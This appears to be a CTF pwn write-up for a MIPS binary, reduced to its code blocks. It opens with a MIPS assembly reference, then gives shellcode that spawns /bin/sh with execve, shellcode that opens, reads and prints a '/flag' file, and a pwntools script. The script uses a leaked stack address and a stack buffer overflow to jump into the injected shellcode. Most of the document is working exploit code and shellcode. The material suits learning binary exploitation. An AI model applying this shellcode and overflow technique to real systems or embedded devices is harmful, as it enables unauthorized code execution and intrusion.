1
lw  register_destination, RAM_source

1
lb  register_destination, RAM_source

1
sw  register_source, RAM_destination

1
sb  register_source, RAM_destination

1
li  register_destination, value

1
la  $t0, var1

1
lw  $t2, ($t0)

1
sw  $t2, ($t0)

1
b  target    #  unconditional branch to program label target
2
beq  $t0,$t1,target  #  branch to target if  $t0 = $t1
3
blt  $t0,$t1,target  #  branch to target if  $t0 < $t1
4
ble  $t0,$t1,target  #  branch to target if  $t0 <= $t1
5
bgt  $t0,$t1,target  #  branch to target if  $t0 > $t1
6
bge  $t0,$t1,target  #  branch to target if  $t0 >= $t1
7
bne  $t0,$t1,target  #  branch to target if  $t0 <> $t1

1
j  target  　　　　 #  unconditional jump to program label target
2
jr  $t3    #  jump to address contained in $t3 ("jump register")

1
jal  sub_label  #  "jump and link"
2
jr  $ra  #  "jump register"

1
li $v0, 4001
2
li $a0, 0
3
syscall

1
li $t7, 0x2f62696e
2
sw $t7, ($sp)
3
li $t7, 0x2f736800
4
sw $t7, 4($sp)
5

6
move $a0, $sp
7
move $a1, $zero
8
move $a2, $zero
9
li $v0, 4011
10
syscall

1
li $t7, 0x2f666c61
2
sw $t7, ($sp)
3
li $t7, 0x67000000
4
sw $t7, 4($sp)
5

6
move $a0, $sp
7
move $a1, $zero
8
li $v0, 4005
9
syscall
10

11
move $a0, $v0
12
move $a1, $sp
13
li $a2, 0x100
14
li $v0, 4003
15
syscall
6 collapsed lines
16

17
li $a0, 1
18
move $a1, $sp
19
li $a2, 0x100
20
li $v0, 4004
21
syscall

1
from pwn import *
2

3
context(os="linux",arch="mips",log_level="debug", endian='big')
4

5
# io = process(["qemu-mips", "-g", "1234", "./pwn"])
6
io = process(["qemu-mips", "./pwn"])
7

8
stop = pause
9
S = pause
10
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
11
x64 = lambda : u64(ru(b"\x7f")[-6:].ljust(8,b'\x00'))
12
s = io.send
13
sl = io.sendline
14
sla = io.sendlineafter
15
sa = io.sendafter
36 collapsed lines
16
slt = io.sendlinethen
17
st = io.sendthen
18
r = io.recv
19
rn = io.recvn
20
rr = io.recvregex
21
ru = io.recvuntil
22
ra = io.recvall
23
rl = io.recvline
24
rs = io.recvlines
25
rls = io.recvline_startswith
26
rle = io.recvline_endswith
27
rlc = io.recvline_contains
28
ia = io.interactive
29
cr = io.can_recv
30

31
shell = """
32
li $t7, 0x2f62696e
33
sw $t7, ($sp)
34
li $t7, 0x2f736800
35
sw $t7, 4($sp)
36

37
move $a0, $sp
38
move $a1, $zero
39
move $a2, $zero
40
li $v0, 4011
41
syscall
42
"""
43
shell = asm(shell)
44
ru(b"input number of magic")
45
sl(b"255")
46
ru(b"0x")
47
stack = int(r(8), 16)
48
pause()
49
s(b"A"*0x2c + p32(stack+0x30) + shell)
50

51
ia()